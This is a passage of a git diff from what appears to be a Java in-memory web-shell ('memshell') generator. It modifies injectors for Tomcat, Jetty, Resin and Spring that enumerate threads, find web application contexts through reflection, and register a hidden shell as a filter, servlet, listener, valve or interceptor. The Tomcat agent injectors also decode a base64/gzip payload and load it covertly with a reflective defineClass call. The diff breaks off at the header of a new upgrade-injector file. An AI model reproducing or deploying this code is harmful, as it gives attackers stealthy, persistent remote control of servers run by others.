field.setAccessible(true); + field.set(obj, value); + } + + public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (NoSuchMethodException e) { + throw e; + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 66af3609..880f7c01 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.EventListener; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -19,19 +16,25 @@ */ public class JettyListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public JettyListenerInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -40,6 +43,7 @@ public JettyListenerInjector() { } } } + ok = true; System.out.println(msg); } @@ -68,8 +72,8 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } - private List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 70ef0e8c..2c2aeff3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -6,6 +6,7 @@ import java.io.PrintStream; import java.lang.reflect.*; import java.util.ArrayList; +import java.util.HashSet; import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -16,7 +17,8 @@ */ public class JettyServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,16 +33,21 @@ public String getBase64String() throws IOException { } public JettyServletInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -49,6 +56,7 @@ public JettyServletInjector() { } } } + ok = true; System.out.println(msg); } @@ -77,8 +85,8 @@ public Class getServletClass(ClassLoader classLoader) throws ClassNotFoundExc } } - private List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 14a8bcc8..93cbeea4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -14,7 +14,8 @@ */ public class ResinFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -29,16 +30,21 @@ public String getBase64String() throws IOException { } public ResinFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -47,6 +53,7 @@ public ResinFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -71,7 +78,7 @@ private String getContextRoot(Object context) { * com.caucho.server.webapp.Application * /usr/local/resin3/lib/resin.jar */ - public List getContext() throws Exception { + public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -87,7 +94,7 @@ public List getContext() throws Exception { contexts.add(webApp); } } - return Arrays.asList(contexts.toArray()); + return contexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index d28abe0d..a27128e5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -17,7 +17,8 @@ */ public class ResinListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -28,16 +29,21 @@ public String getBase64String() throws IOException { } public ResinListenerInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -46,6 +52,7 @@ public ResinListenerInjector() { } } } + ok = true; System.out.println(msg); } @@ -66,7 +73,7 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { + public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -82,7 +89,7 @@ public List getContext() throws Exception { contexts.add(webApp); } } - return Arrays.asList(contexts.toArray()); + return contexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 2cea7b26..01c5b9a1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -15,7 +15,8 @@ */ public class ResinServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public String getBase64String() throws IOException { } public ResinServletInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += "context: [" + getContextRoot(context) + "] "; try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public ResinServletInjector() { } } } + ok = true; System.out.println(msg); } @@ -68,7 +75,7 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { + public Set getContext() throws Exception { Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { @@ -80,7 +87,7 @@ public List getContext() throws Exception { } catch (Exception ignored) { } } - return Arrays.asList(contexts.toArray()); + return contexts; } public ClassLoader getWebAppClassLoader(Object context) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java index f4a53b71..d5c0affb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxHandlerFunctionInjector.java @@ -19,7 +19,7 @@ */ public class SpringWebFluxHandlerFunctionInjector { - private String msg = ""; + private static String msg = ""; public String getUrlPattern() { return "{{urlPattern}}"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java index 8251d863..28672b3f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java @@ -16,7 +16,8 @@ */ public class SpringWebMvcControllerHandlerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,20 +32,28 @@ public String getBase64String() throws IOException { } public SpringWebMvcControllerHandlerInjector() { + if (ok) { + return; + } Object context = null; try { context = getContext(); } catch (Throwable e) { msg += "context error: " + getErrorMessage(e); } - try { - Object shell = getShell(); - msg += "context: [" + context + "] "; - inject(context, shell); - msg += "[" + getUrlPattern() + "] ready\n"; - } catch (Throwable e) { - msg += "failed " + getErrorMessage(e) + "\n"; + if (context == null) { + msg += "context not found"; + } else { + try { + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java index e32299d5..d80aff31 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java @@ -16,7 +16,8 @@ */ public class SpringWebMvcInterceptorInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -27,20 +28,28 @@ public String getBase64String() throws IOException { } public SpringWebMvcInterceptorInjector() { + if (ok) { + return; + } Object context = null; try { context = getContext(); } catch (Throwable e) { msg += "context error: " + getErrorMessage(e); } - try { - Object shell = getShell(); - msg += "context: [" + context + "] "; - inject(context, shell); - msg += "[/*] ready\n"; - } catch (Throwable e) { - msg += "failed " + getErrorMessage(e) + "\n"; + if (context == null) { + msg += "context not found"; + } else { + try { + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index bd4c998b..66f10c98 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -2,9 +2,12 @@ import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; +import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -18,6 +21,10 @@ public static String getClassName() { return "{{advisorName}}"; } + public static String getBase64String() { + return "{{base64String}}"; + } + public static void premain(String args, Instrumentation inst) throws Exception { launch(inst); } @@ -42,6 +49,7 @@ private static void launch(Instrumentation inst) throws Exception { public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); try { ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { @@ -70,7 +78,7 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } @@ -150,4 +158,58 @@ private int getArgIndex(final int arg) { return index; } } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + try { + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java index c6140174..4b97c72f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java @@ -2,9 +2,12 @@ import org.objectweb.asm.*; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; +import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -18,6 +21,10 @@ public static String getClassName() { return "{{advisorName}}"; } + public static String getBase64String() { + return "{{base64String}}"; + } + public static void premain(String args, Instrumentation inst) throws Exception { launch(inst); } @@ -42,6 +49,7 @@ private static void launch(Instrumentation inst) throws Exception { public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); try { ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { @@ -70,7 +78,7 @@ public MethodVisitor visitMethod(int access, String name, String descriptor, MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); if (TARGET_METHOD_NAME.equals(name)) { Type[] argumentTypes = Type.getArgumentTypes(descriptor); - return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + return new TomcatFilterChainAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName()); } return mv; } @@ -150,4 +158,58 @@ private int getArgIndex(final int arg) { return index; } } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + try { + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index c83e4b77..ee259036 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -7,8 +7,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; +import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -18,19 +17,37 @@ */ public class TomcatFilterInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } public TomcatFilterInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -39,6 +56,7 @@ public TomcatFilterInjector() { } } } + ok = true; System.out.println(msg); } @@ -58,25 +76,12 @@ private String getContextRoot(Object context) { } return c + "(" + r + ")"; } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar */ - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -85,10 +90,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index ba820b88..1f879c17 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -14,7 +14,8 @@ */ public class TomcatListenerInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,24 +26,30 @@ public String getBase64String() { } public TomcatListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); - msg += " [/*] ready\n"; + msg += "[/*] ready\n"; } catch (Throwable e) { msg += "failed " + getErrorMessage(e) + "\n"; } } } + ok = true; System.out.println(msg); } @@ -73,10 +80,16 @@ public Set getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 26f95cfc..982d9032 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -21,19 +18,25 @@ public class TomcatProxyValveInjector implements InvocationHandler { private Object rawValve; private Object proxyValve; - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public TomcatProxyValveInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -42,6 +45,7 @@ public TomcatProxyValveInjector() { } } } + ok = true; System.out.println(msg); } @@ -92,8 +96,8 @@ public Object invoke(Object proxy, Method method, Object[] args) throws Throwabl return method.invoke(rawValve, args); } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -102,10 +106,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index b8e8e859..9f630953 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -20,7 +17,8 @@ */ public class TomcatServletInjector { - private String msg = ""; + private static String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -35,16 +33,21 @@ public String getUrlPattern() { } public TomcatServletInjector() { - List contexts = null; + if (ok) { + return; + } + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -53,6 +56,7 @@ public TomcatServletInjector() { } } } + ok = true; System.out.println(msg); } @@ -73,8 +77,8 @@ private String getContextRoot(Object context) { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); + public Set getContext() throws Exception { + Set contexts = new HashSet(); Set threads = Thread.getAllStackTraces().keySet(); for (Thread thread : threads) { if (thread.getName().contains("ContainerBackgroundProcessor")) { @@ -83,10 +87,16 @@ public List getContext() throws Exception { Map children = (Map) getFieldValue(value, "children"); contexts.addAll(children.values()); } - } else if (thread.getContextClassLoader() != null - && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") - || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { - contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } else if (thread.getContextClassLoader() != null) { + String name = thread.getContextClassLoader().getClass().getSimpleName(); + if (name.matches(".+WebappClassLoader")) { + Object resources = getFieldValue(thread.getContextClassLoader(), "resources"); + // need WebResourceRoot not DirContext + if (resources != null && resources.getClass().getName().endsWith("Root")) { + Object context = getFieldValue(resources, "context"); + contexts.add(context); + } + } } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java new file mode 100644 index 00000000..6e1820d9 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java @@ -0,0 +1,222 @@ +package com.reajason.javaweb.memshell.injector.tomcat; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * 